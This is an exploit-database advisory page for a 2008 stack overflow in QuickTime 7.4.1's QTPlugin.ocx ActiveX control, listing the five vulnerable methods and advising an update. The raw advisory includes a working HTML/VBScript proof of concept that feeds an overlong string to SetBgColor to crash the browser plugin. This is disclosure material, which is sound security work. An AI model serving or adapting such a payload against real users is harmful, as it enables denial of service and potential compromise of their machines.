header-logo
Suggest Exploit
vendor:
QuickTime Player
by:
Laurent Gaffié
7.5
CVSS
HIGH
Stack Overflow/Denial of Service
119
CWE
Product Name: QuickTime Player
Affected Version From: 7.4.2001
Affected Version To: 7.4.2001
Patch Exists: Yes
Related CWE: N/A
CPE: a:apple:quicktime_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2008

Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

A stack overflow/denial of service occurs when supplying a long string to the functions SetBgColor, SetHREF, SetMovieName, SetTarget, and SetMatrix.

Mitigation:

Update to the latest version of QuickTime.
Source

Exploit-DB raw data:

Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow

Web Site: http://www.apple.com/fr/quicktime/download/

Platform: Windows

Bug: Multiple Remote Stack Overflow

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========

1) Introduction

===========

A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/

======

2) Bug

======

Stack Overflow/Denial of service occurs when supplying a long string to theses functions:

-SetBgColor
-SetHREF
-SetMovieName
-SetTarget
-SetMatrix

=====

3)Proof of concept

=====

Proof of concept example [works with the others functions supplyed in section 2) ] :
<html>
<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object>
<input type="button" value="Hit me" language="VBScript" OnClick="test()">
<script language="VBScript">
sub test()
bar = String(515305, "A")
foo.SetBgColor bar
End Sub
</script>
</html>

=====

5)Credits

=====

laurent gaffié

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-02-13]